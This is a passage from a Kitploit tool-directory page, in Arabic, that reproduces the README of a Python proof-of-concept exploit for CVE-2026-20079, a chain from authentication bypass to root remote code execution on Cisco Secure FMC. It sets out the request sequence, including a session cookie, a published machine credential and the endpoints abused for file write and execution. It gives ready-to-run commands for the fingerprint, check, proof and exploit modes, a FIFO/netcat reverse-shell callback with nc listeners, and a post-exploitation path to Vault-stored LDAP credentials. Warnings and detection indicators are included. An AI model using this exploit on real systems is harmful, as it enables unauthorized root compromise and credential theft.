Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-20079 — ينفّذ سلسلة CVE-2026-20079 لتجاوز المصادقة وصولًا إلى RCE بصلاحيات الجذر ضد Cisco Secure FMC باستخدام أوضاع fingerprint و check و proof والاستغلال التفاعلي. | Kitploit
أدوات/GitHubGitHub/cyberauth/cve-2026-20079
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقةتطوير الحمولات
GitHubcyberauth/cve-2026-20079

CVE-2026-20079

ينفّذ سلسلة CVE-2026-20079 لتجاوز المصادقة وصولًا إلى RCE بصلاحيات الجذر ضد Cisco Secure FMC باستخدام أوضاع fingerprint و check و proof والاستغلال التفاعلي.

عرض المستودع
منذ 4 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-20079 Cisco Secure FMC PoC

نموذج إثبات المفهوم بلغة Python لسلسلة تجاوز المصادقة إلى RCE بصلاحيات الجذر في Cisco Secure Firewall Management Center الموثقة علنًا ضمن CVE-2026-20079.

هذا ليس ثغرة جديدة أو سلسلة استغلال مطورة بشكل مستقل. إنه تنفيذ نظيف لتسلسل الطلبات الذي نشرته VulnCheck، مع أوضاع منفصلة للبصمة (fingerprint)، والفحص (check)، والإثبات لمرة واحدة (one-shot proof)، والاستغلال التفاعلي (interactive exploit).

إعداد سريع

مطلوب Python 3.10 أو أحدث. على Linux أو macOS:```bash git clone https://github.com/CyberAuth/CVE-2026-20079.git cd CVE-2026-20079 python3 -m venv .venv source .venv/bin/activate python3 -m pip install -r requirements.txt python3 CVE-2026-20079.py --help

root@kitploit:~
## استبدال العناوين المثال

جميع قيم `192.0.2.x` أدناه عناوين توثيق محجوزة. وهي
عناوين نائبة، وليست معلومات هدف مكتشفة، ويجب استبدالها بقيم من التقييم المصرح به. ولا يُتوقع أن تعمل الأوامر بدون تغيير.

| مثال | المعنى | ما يجب استخدامه بدلاً منه |
| --- | --- | --- |
| `https://192.0.2.10` | عنوان URL الخاص بـ FMC الهدف | مخطط FMC وعنوانه ومنفذه المصرح به بدقة |
| `192.0.2.20` | العنوان الذي يعود إليه اتصال FMC | عنوان IP أو اسم DNS لمستمع المشغّل **كما يمكن الوصول إليه من FMC** |
| `192.0.2.0/24` | مثال CIDR للبصمة | نطاق شبكة مصرح به صراحةً |
| `4444` | منفذ TCP للاستدعاء/الاستماع | منفذ معتمد وقابل للوصول على نظام الاستدعاء |
| `0.0.0.0` | أين يربط المستمع في نظام المشغّل | أبقِه للاستماع على جميع الواجهات المحلية، أو استخدم عنوان واجهة محلية واحدة |
| `192.0.2.10` في `--expected-callback-source` | المصدر المتوقع للاستدعاء | عنوان مصدر FMC كما يلاحظه المستمع؛ احذف هذا الخيار عندما يجعل NAT الأمر غير مؤكد |
| `http://127.0.0.1:8080` | وكيل اعتراض محلي اختياري | عنوان URL للوكيل الذي يستمع فعليًا على نظام المشغّل |

### اختيار `--callback-host`

استخدم هذه القاعدة: **من وجهة نظر FMC، ما العنوان الذي يصل إلى مستمع المشغّل؟** هذا العنوان هو `--callback-host`.

| مسار الشبكة | قيمة `--callback-host` النموذجية |
| --- | --- |
| المشغّل و FMC على نفس الشبكة الموجّهة | عنوان LAN القابل للوصول لنظام المشغّل، مثل `eth0` أو `en0` أو غيره |
| يصل المشغّل إلى FMC عبر VPN | عنوان واجهة VPN القابل للوصول، مثل `tun0` أو `utun`، عندما يكون لدى FMC توجيه إليه |
| يكون المشغّل خلف NAT أو جدار حماية | عنوان IP العام أو اسم DNS الذي يُعاد توجيه منفذه المحدد إلى نظام المشغّل |
| تُستخدم نفق استدعاء أو VPS | نقطة نهاية النفق أو عنوان VPS القابل للوصول |

لا تستخدم `127.0.0.1` أو `0.0.0.0` لـ `--callback-host`. فـ `127.0.0.1` يشير إلى FMC نفسه، بينما `0.0.0.0` هي قيمة ربط للمستمع وليست وجهة. تأكد من أن التوجيه وقواعد جدار الحماية وأي إعادة توجيه منافذ تسمح لـ FMC بالوصول إلى `--callback-host` على `--callback-port`.

`--listen-host` محلي فقط: يحدد الواجهة التي ينتظر عليها المستمع المدمج. بشكل افتراضي، `0.0.0.0`، يستمع على كل واجهة محلية. وهو لا يخبر FMC بمكان الاتصال. لذلك، قد يختلف `--callback-host` عن `--listen-host`، خاصة عبر NAT.

### مثال عملي: المشغّل و FMC على نفس الشبكة

افترض هذا المختبر الخيالي المخصص للتوثيق فقط:```text
Operator system                                      FMC target
eth0: 192.0.2.20                                     192.0.2.10

1. Operator ---------------------------------------> FMC
   HTTPS requests to https://192.0.2.10

2. Operator <--------------------------------------- FMC
   Listener on TCP 4444         callback to 192.0.2.20:4444

تتوافق القيم مع الأمر كما يلي:

  • --target https://192.0.2.10 يحدد FMC الذي يتم تقييمه.
  • --callback-host 192.0.2.20 هو عنوان eth0 الخاص بنظام المشغّل لأن FMC يمكنه التوجيه إليه مباشرة.
  • --callback-port 4444 هو منفذ TCP المعتمد المستخدم من قبل الاستدعاء.
  • --listen-host 0.0.0.0 يجعل المستمع المدمج يقبل الاستدعاء على أي واجهة محلية، بما في ذلك eth0.

سيكون أمر إثبات لمرة واحدة لهذا المثال كما يلي:```bash python3 CVE-2026-20079.py
--proof
--target https://192.0.2.10
--callback-host 192.0.2.20
--callback-port 4444
--listen-host 0.0.0.0

root@kitploit:~
التدفق هو: يرسل المشغّل طلبات HTTPS إلى `192.0.2.10`، ثم يعيد FMC الاتصال
بعنوان المشغّل `192.0.2.20:4444`. في تقييم حقيقي، استبدل كلا عنواني IP
وتأكد من مسار العودة قبل تشغيل الأمر. إذا تعذّر على FMC الوصول إلى
عنوان `eth0` الخاص بالمشغّل، فاستخدم بدلاً منه عنوان VPN أو NAT أو النفق
أو VPS القابل للوصول والموصوف أعلاه.

## الأوضاع ومرجع الأوامر السريع

| الوضع | التأثير على الشبكة أو الهدف | ما يثبته النجاح |
| --- | --- | --- |
| `--fingerprint` | طلبات GET فقط | سطح ويب محتمل لـ FMC؛ ليس تأكيداً لثغرة أمنية |
| `--check` | يرقّي حالة الجلسة على الخادم | تجاوز المصادقة والوصول إلى رمز إجراء |
| `--proof` | يكتب ويشغّل حمولة استدعاء رجعي محدودة | تنفيذ بصلاحيات الجذر مع التنظيف، دون شل تفاعلي |
| `--exploit` | يكتب ويشغّل حمولة FIFO/netcat | استدعاء رجعي تفاعلي بصلاحيات الجذر، أو تحقق محدود باستخدام `--auto-verify` |

اضبط قيم المثال الثلاث مرة واحدة، مستبدلاً كل واحدة منها بالهدف المصرَّح به
وعنوان الاستدعاء الرجعي للمشغّل والمنفذ:```bash
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20  # Address the FMC can use to reach this listener
CALLBACK_PORT=4444

ثم اختر وضعًا واحدًا بالضبط:```bash

GET-only product fingerprint; start here

python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"

Intrusive authentication-bypass check; changes server-side session state

python3 CVE-2026-20079.py --check --target "$FMC_URL"

One-shot root proof with integrated listener and verified cleanup

python3 CVE-2026-20079.py --proof --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

Interactive root callback; first start one listener in another terminal:

Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"

macOS built-in netcat: nc -lvn "$CALLBACK_PORT"

python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

Bounded root verification and cleanup instead of an interactive shell

python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
--auto-verify

root@kitploit:~
> [!IMPORTANT]
> تحديد البصمة هو خطوة تعريف استدلالي للمنتج، وليس فحصًا للثغرات.
> `MATCH` و`LIKELY` لا تثبتان أن الهدف مصاب أو قابل للاستغلال،
> و`NO_MATCH` لا يستبعد FMC. يمكن للخوادم العكسية،
> وصفحات تسجيل الدخول المخصصة، وضوابط الوصول، وأعطال الشبكة، أو تغييرات المنتج
> أن تؤثر على النتيجة.

يُرسل تحديد البصمة طلبات شبكة لكنه لا يشغّل تجاوز المصادقة
أو سلسلة RCE. اقرأ تفاصيل التصنيف وأوصاف الأوضاع
وتحذير حالة الجلسة أدناه قبل استخدام `--check` أو `--proof` أو `--exploit`.

> [!WARNING]
> لا تشغّل `--check` أو `--proof` أو `--exploit` بدون إذن كتابي صريح
> يغطي التغييرات على الهدف وطريقة الإثبات. اقرأ المتطلب المسبق،
> وقيد حالة الجلسة، ومتطلبات الاستدعاء أولاً.

## كيف تعمل سلسلة الاستغلال

تُمرِّر السلسلة النشطة `CGISESSID=csm_processes` إلى `/login.cgi?logon=Continue`، وتستخدم بيانات اعتماد الآلة المنشورة `report:snortrules`، وتستخرج `sf_action_id` من `/ui/user/general`، وتكتب برنامجًا نصيًا بصيغة Makeself عبر `validateLicense`، وتُشغّله عبر `SF::UI::DataObjectLibrary::upgradeReadinessCall`.

## متطلب مسبق مهم

ليس دائمًا ما يكون إصدار البرنامج المتأثر قابلاً للاستغلال في لحظة الاختبار. يجب أن تظل جلسة `csm_processes` المنشأة عند الإقلاع موجودة. يمكن للنشاط العادي لواجهة المستخدم المُصادَق عليها وتنظيف الجلسة أن يزيلاها. لا تقم بإعادة تشغيل FMC في بيئة الإنتاج لمجرد تلبية هذا المتطلب المسبق.

## قيد حالة الجلسة

تعمل أوضاع `--check` و`--proof` و`--exploit` على ترقية جلسة `csm_processes` في جانب الخادم. لا يحاول إثبات المفهوم (PoC) إعادة تلك الجلسة إلى حالتها الجزئية الأصلية لعدم توفر أي عملية تخفيض موثقة من البائع. إن مسح كوكي العميل لن يلغي التغيير الحاصل في جانب الخادم، بينما تسجيل الخروج أو فرض انتهاء الصلاحية أو حذف إدخال قاعدة البيانات سيدمر الجلسة بدلاً من استعادتها وقد يتعارض مع التحقق اللاحق أو سلوك الجهاز. ميزات التنظيف التلقائي تزيل فقط ملفات RCE المؤقتة؛ ولا تدّعي استعادة حالة الجلسة. `--fingerprint` لا يستخدم تلك الجلسة ولا يعدّلها.

## المتطلبات التشغيلية للهدف

تتطلب حمولتا الاستدعاء معًا:

- `/bin/sh` متوافق مع نمط POSIX.
- `rm` و`command`.
- توفر أحد الأوامر `nc` أو `netcat` أو `ncat` عبر `PATH` الخاص بتنفيذ الهدف.
- اتصال TCP صادر من FMC إلى عنوان ومنفذ الاستدعاء المقدمين.

تتطلب حمولة `--exploit` التفاعلية أيضًا `mkfifo`. أما حمولة `--proof` التي تُستخدم لمرة واحدة فلا تنشئ FIFO أو شلًا تفاعليًا.

تتحقق الحمولة من أسماء أوامر netcat الثلاثة المدعومة قبل محاولة إجراء الاستدعاء. إذا لم يكن أيٌّ منها موجودًا، فإنها تنهي عملها عبر مصائد التنظيف (cleanup traps). ولأن الخطأ يحدث داخل مسار التنفيذ الأعمى في جانب الخادم، يلاحظ المختبر غياب الاستدعاء بدلاً من رسالة خطأ تفصيلية عن بُعد.

يستخدم `--auto-verify` مكتبة socket الخاصة بـ Python ولا يتطلب تثبيت netcat محليًا. يمكن لوضع الاستماع اليدوي استخدام `nc` أو `ncat` أو `socat` أو أي مستمع TCP آخر يختاره المشغّل.

## تحديد بصمة FMC عبر GET فقط

حدد بصمة عنوان URL واحد:```bash
python3 CVE-2026-20079.py \
  --fingerprint \
  --target https://192.0.2.10

بصم ملفًا يحتوي على عنوان URL واحد، أو عنوان IP، أو hostname، أو قيمة host:port في كل سطر:```bash python3 CVE-2026-20079.py
--fingerprint
--targets-file targets.txt
--fingerprint-scheme https
--fingerprint-port 443
--workers 10

root@kitploit:~
قم ببصمة نطاق شبكة مصرّح به صراحةً:```bash
python3 CVE-2026-20079.py \
  --fingerprint \
  --network 192.0.2.0/24 \
  --fingerprint-scheme https \
  --fingerprint-port 443 \
  --workers 20 \
  --max-hosts 256

هذا الوضع منخفض التأثير، وليس سلبيًا حرفيًا: فهو يرسل طلبات شبكة. تم تعطيل عمليات إعادة التوجيه عالميًا، وتتبع الأداة فقط إعادة توجيه HTTP الفعلية إلى المسار المحدد /ui/login الذي يبقى على نفس المخطط والمضيف والمنفذ الأصليين. يجب أن تكون استجابة تسجيل الدخول ناجحة (HTTP 2xx) قبل أن تُبلغ الأداة عن MATCH أو LIKELY. وهي لا تُرفق ملف تعريف الارتباط الخاص بالاستغلال، ولا تُرسل بيانات اعتماد، ولا ترسل طلبات POST، ولا تتبع عمليات إعادة التوجيه الخارجية، ولا تتحقق من إصدار، ولا تُثبت CVE-2026-20079. MATCH تعني أنه تمت ملاحظة العلامة التجارية في استجابة ناجحة، وLIKELY تعني أن مسار تسجيل الدخول الناجح من نفس الأصل تطابق دون علامة تجارية في HTML الخام، وNO_MATCH تعني أن البصمة المحدودة لم تحدد FMC.

فقط --fingerprint يقبل --targets-file أو --network. تظل أوضاع الفحص والإثبات والاستغلال عمليات ذات هدف واحد عن قصد. يتم إزالة الازدواجية في توسيع الملف وCIDR وتقييده بواسطة --max-hosts (الافتراضي 4096)، بينما يُقيَّد التزامن بواسطة --workers (الافتراضي 10، الحد الأقصى 100).

فحص تجاوز المصادقة الاقتحامي```bash

python3 CVE-2026-20079.py
--target https://192.0.2.10
--check

root@kitploit:~
Success requires both the expected HTTP 302 session upgrade and a 200 response containing a session-specific `sf_action_id`.

يحتفظ إثبات المفهوم (PoC) برمز الإجراء الكامل في الذاكرة لسلسلة الطلبات، لكنه يطبع فقط بصمة مختصرة. تعامل مع نصوص الاستجابة الخام التي تحتوي على الرمز الكامل باعتبارها دليل جلسة حساسًا، ولا تنشرها.

بعد فحص ناجح، تبقى الجلسة من جهة الخادم مُرقّاة. تُبلغ الأداة بذلك صراحةً ولا تحاول تراجعًا غير موثّق.

## إثبات الجذر بخطوة واحدة

استخدم هذا عندما يكون مطلوبًا دليل تنفيذ بصلاحيات الجذر ولكن لا حاجة لقشرة تفاعلية:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --proof \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --expected-callback-source 192.0.2.10

وضع الإثبات يبدأ دائمًا المستمع المدمج قبل طلب كتابة الملف. يرسل الهدف علامات بداية/نهاية عشوائية، وid، واسم المضيف، واسم دليل البناء، وحالة تنظيف /var/tmp/license.tmp، ثم يفصل الاتصال. يتطلب النجاح uid=0(root) والتأكد من غياب السكربت المؤقت. لا يُنشئ FIFO، ولا يكشف قناة أوامر تفاعلية، ولا يشغّل استغلالًا لاحقًا خاصًا بالبيئة.

التحقق من صلاحية الصدفة الجذرية

ابدأ مستمعًا على نظام الاستدعاء المصرح به:```bash

Linux (common netcat variants)

nc -lvnp 4444

macOS built-in netcat

nc -lvn 4444

root@kitploit:~
شغّل أمر مستمع واحدًا مناسبًا لنظام الاستدعاء، وليس كلاهما.

ثم شغّل:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444

تحقق من صحة الاستدعاء:```bash id hostname -f

root@kitploit:~
يقوم الـ PoC بطباعة المسار الدقيق لـ FIFO المؤقت. أزل فقط أثري الاستغلال المعروفين من غلاف FMC:```bash
rm -f /tmp/.fmc_poc_<printed_suffix> /var/tmp/license.tmp

التحقق التلقائي من الجذر والتنظيف

يمكن أن يشغّل الـ PoC مستمع نداءات راجعة خاصًا به وينفّذ استغلالًا لاحقًا محدودًا تلقائيًا:```bash python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify

root@kitploit:~
`--auto-verify` ينفّذ فقط الإجراءات التالية عبر الاستدعاء:

1. يشغّل `id` ويتطلب `uid=0(root)`.
2. يجمع `hostname -f` واسم دليل بناء FMC.
3. يزيل الـ FIFO العشوائي المحدد الذي أنشأه هذا التشغيل و`/var/tmp/license.tmp`.
4. يتحقق من أن كلا المسارين غير موجود.
5. يخرج من الاستدعاء.

تقوم الحمولة المولّدة أيضًا بإلغاء ربط `/var/tmp/license.tmp` فور بدء التنفيذ وتثبّت معالجات تنظيف عند إنهاء الصدفة/الإشارات لكلا المسارين المؤقتين. لا يزال التحقق التلقائي يُنفَّذ ويتحقق من عملية تنظيف صريحة ومستقلة. إذا تمت محاولة كتابة لكن الاستدعاء أو دليل التنظيف غير مكتمل، يخرج الـ PoC برمز غير صفري ويطبع المسارين المحددين اللذين قد يتطلبان مراجعة يدوية مصرحًا بها.

إذا كان عنوان الاستدعاء مختلفًا عن عنوان الربط المحلي، حدد الأخير بشكل منفصل:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --auto-verify \
  --listen-host 0.0.0.0 \
  --callback-wait 60

عندما يكون مصدر الاستدعاء هو عنوان FMC نفسه ولا توجد أي NAT من جهة الاستدعاء، يمكن للمستمع رفض الاتصالات غير ذات الصلة:```bash python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify
--expected-callback-source 192.0.2.10

root@kitploit:~
عدم تلقي معاودة اتصال لا يميّز بين هدف مُصحَّح، أو جلسة إقلاع مفقودة، أو خروج محجوب، أو تنفيذ netcat غير متاح/غير متوافق على جانب الهدف، أو أي فشل تشغيلي آخر.

التعداد التلقائي لـ Vault، واستخراج بيانات الاعتماد، والاستمرارية، والحركة الجانبية مستبعدة عمدًا. هذه الأنشطة ليست مطلوبة لإثبات CVE-2026-20079 وتعتمد على إذن وتكوين خاصين بالبيئة.

## لماذا يستخدم الـ PoC نمط FIFO/netcat

أول إعادة إنتاج يدوية استخدمت معاودة اتصال عبر Bash `/dev/tcp`. كلتا مرحلتي
الاستغلال HTTP أعادتا استجابتيهما المتوقعتين، لكن لم يصل أي اتصال.
أظهر ذلك لماذا لا تُعد حالة HTTP وحدها دليلًا على التنفيذ ولماذا
لا ينبغي افتراض ميزات معاودة الاتصال الخاصة بالقشرة على جهاز appliance.

استخدمت إعادة المحاولة الناجحة نمط التوافق FIFO/netcat الموثّق في
البحوث العامة. لذلك يذهب هذا الـ PoC مباشرة إلى ذلك النمط المثبت
ويتعمّد عدم إعادة محاولة طريقة `/dev/tcp` التي فشلت. يتحقق من
`nc` أو `netcat` أو `ncat`، ويتطلب معاودة اتصال فعلية و`uid=0(root)` في
الوضع التلقائي، ويعيد قيمة غير صفرية عند غياب دليل معاودة الاتصال أو التنظيف.
لا يمكنه تحديد السبب الدقيق لفشل معاودة الاتصال الأعمى، لذا
يُبلغ عن المتطلبات التشغيلية والشبكية المعقولة بدلًا من الادعاء
بأن الهدف مُصحَّح.

## نطاق ما بعد الاستغلال

يقوم هذا المستودع بأتمتة CVE من حالة غير مصادق عليها حتى معاودة اتصال جذر مُتحقق منها وتنظيف. وهو **لا** يقوم بأتمتة جمع بيانات الاعتماد أو تصدير الأسرار أو الحركة الجانبية.

خلال تقييم مصرح به، كشفت القشرة الجذرية الناتجة خدمة HashiCorp Vault محلية قيد التشغيل على FMC. وسمح رمز عميل Vault محلي على الجهاز بالوصول إلى سجل بيانات اعتماد LDAP مُكوّن، وأكملت بيانات الاعتماد هذه لاحقًا ربط LDAPS مصرحًا به. وهذا مسار ما بعد استغلال مُلاحَظ من بيئة واحدة، وليس خاصية عامة أو شرطًا مسبقًا لـ CVE-2026-20079.

انظر [BLOG.md](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/BLOG.md) لمعرفة قصة البحث من منظور الشخص الأول: الخلفية العامة، عملية الاستغلال اليدوية، معاودة الاتصال الفاشلة، الحمولة التوافقية الناجحة، مسار ما بعد الاستغلال المُلاحَظ، الدروس المستفادة، والتطوير النهائي لهذه الأداة.

## بروكسي اختياري

لمراقبة الطلبات في بروكسي اعتراض:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --check \
  --proxy http://127.0.0.1:8080

معيار الإثبات

إن مجرد HTTP 302 أو HTTP 200 لا يثبت تنفيذ الأوامر عن بُعد بصلاحيات الجذر (root RCE). تعامل مع المسألة على النحو التالي:

  • لا يتم تحديد سطح FMC إلا عندما يُلاحظ --fingerprint سلوك تسجيل الدخول المحدود أو العلامة التجارية؛ وهذا ليس اكتشافًا لثغرة بحد ذاته.
  • لا يُؤكَّد تجاوز المصادقة إلا عندما ينتج عن الجلسة المرقّاة sf_action_id صالح.
  • لا يُؤكَّد تنفيذ الأوامر بصلاحيات الجذر إلا عندما يستقبل مستمع خاضع للتحكم الاستدعاء ويُبلِّغ id عن uid=0(root).

يستخدم المستمع المدمج علامات تحقق عشوائية لكل تشغيل، ويقيّد مخرجات الاستدعاء الملتقطة، ويقوم اختياريًا بتصفية مصدر الاستدعاء، ويعيد حالة غير صفرية إذا تعذر التحقق من الجذر أو التنظيف. لا يمكن لوضع المستمع اليدوي إثبات تلك الشروط لعملية بايثون؛ فخروجه الناجح يعني أنه تم إرسال سلسلة HTTP، وليس أن تنفيذ الجذر لوحظ بشكل مستقل.

حالة الخروج

  • 0: اكتمل البصمة الرقمية (fingerprinting) بنتيجة واحدة على الأقل دون أخطاء؛ وأكّد --check تجاوز المصادقة؛ وأكّد --proof أو --auto-verify الجذر والتنظيف؛ أو نجح وضع المستمع اليدوي في إرسال سلسلة HTTP المتوقعة.
  • 1: لم يطابق الهدف استجابة متوقعة، أو فشل إثبات الاستدعاء/الجذر/التنظيف، أو حدث خطأ في الطلب/المستمع.
  • 2: وسائط سطر أوامر غير صالحة.
  • 130: تمت المقاطعة بواسطة المشغِّل. إذا كانت محاولة كتابة الحمولة قد جرت، تطبع الأداة أيضًا المسارات الدقيقة التي لا يزال تنظيفها غير مُتحقق منه.

فرص الكشف

  • إرسال POST إلى /login.cgi?logon=Continue باستخدام ملف تعريف الارتباط csm_processes ومستخدم الآلة report.
  • الطلبات الموجهة إلى /ui/user/general مباشرة بعد ترقية الجلسة.
  • طلبات validateLicense الموجهة إلى /sajaxintf.cgi?rs=callServerFunc.
  • إرسال SF::UI::DataObjectLibrary::upgradeReadinessCall إلى /pjb.cgi.
  • إنشاء أو تنفيذ /var/tmp/license.tmp الذي يحتوي على علامة Makeself.
  • إنشاء FIFO تحت /tmp، و/bin/sh تفاعلي، وnc، وحركة مرور صادرة غير متوقعة من FMC.

التطوير والاختبار

يقوم الإعداد السريع بتثبيت اعتماد وقت التشغيل من requirements.txt في بيئة افتراضية معزولة. شغّل اختبارات الوحدة من المكتبة القياسية واختبارات التكامل الوهمية المحلية دون الاتصال بهدف عام:```bash python3 -m unittest discover -s tests -v

root@kitploit:~
## المراجع

- [نشرة سيسكو](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2)
- [التحليل الفني من VulnCheck](https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079)

## إشعار قانوني

استخدم فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
يمكن لإثبات المفهوم هذا تغيير حالة الجلسة من جانب الخادم وتنفيذ أوامر
بصلاحيات الجذر. أنت مسؤول عن الحصول على الإذن، وتحديد نطاق آمن
وحدود إثبات، وحماية الأدلة المجمعة، والامتثال
للقوانين والعقود وقواعد البائع أو البرنامج المعمول بها. المؤلف و
المساهمون لا يصرحون بالوصول غير القانوني أو التعطيل أو جمع البيانات.

يُقدَّم البرنامج "كما هو"، دون أي ضمان، ويتنصل المؤلفون و
أصحاب حقوق النشر من المسؤولية إلى أقصى حد يسمح به القانون.
راجع [رخصة MIT](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/LICENSE) للشروط الكاملة. لا يعدّل هذا الإشعار الاستخدامي
الرخصة أو يقيدها.
تنزيل الأداة